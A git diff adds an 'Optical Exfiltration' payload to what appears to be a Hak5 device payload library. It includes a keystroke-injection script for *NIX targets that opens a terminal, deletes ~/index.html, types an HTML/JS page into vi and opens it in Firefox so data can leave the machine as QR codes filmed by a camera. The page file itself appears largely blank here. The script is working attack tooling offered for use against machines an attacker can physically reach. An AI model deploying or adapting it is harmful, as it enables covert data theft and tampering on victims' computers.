diff --git a/payloads/library/exfiltration/optical-exfiltration/index.min.html b/payloads/library/exfiltration/optical-exfiltration/index.min.html
new file mode 100644
index 00000000..811af6c7
--- /dev/null
+++ b/payloads/library/exfiltration/optical-exfiltration/index.min.html
@@ -0,0 +1,26 @@
+
+
+
+
+ QR Extract
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/payloads/library/exfiltration/optical-exfiltration/payload.txt b/payloads/library/exfiltration/optical-exfiltration/payload.txt
new file mode 100755
index 00000000..a7463e39
--- /dev/null
+++ b/payloads/library/exfiltration/optical-exfiltration/payload.txt
@@ -0,0 +1,59 @@
+#!/bin/bash
+#
+# Title: Optical Exfiltration
+# Author: bg-wa
+# Version: 1.0
+# Category: HID
+# Target: *NIX
+# Attackmodes: HID
+# Sources: Hak5 2320, https://github.com/bg-wa/QRExtractor
+#
+# Quick HID only attack to write an HTML/JS file to target machine
+# and open a browser, to exfiltrate data Using QR Codes and a video
+# recording device.
+#
+# | Attack Stage | Description |
+# | ------------------- | ---------------------------------------- |
+# | SETUP | Open vi |
+# | ATTACK | Writing HTML |
+# | FINISH | Browser Ready |
+#
+
+ATTACKMODE HID
+LED SETUP
+
+target_html=\~\/index.html
+
+RUN UNITY xterm
+Q DELAY 1000
+Q STRING rm "$target_html"
+Q ENTER
+Q DELAY 500
+Q STRING vi "$target_html"
+Q ENTER
+Q DELAY 1000
+Q STRING i
+
+LED ATTACK
+
+payload_dir=/root/udisk/payloads/$SWITCH_POSITION
+source_html=$payload_dir/index.min.html
+
+while IFS= read data
+do
+ if [ "${data}" = " " ]
+ then
+ Q SPACE
+ else
+ Q STRING "$data"
+ fi
+done < "$source_html"
+
+Q ESC
+Q STRING :x
+Q ENTER
+
+Q STRING firefox "$target_html"
+Q ENTER
+
+LED FINISH
\ No newline at end of file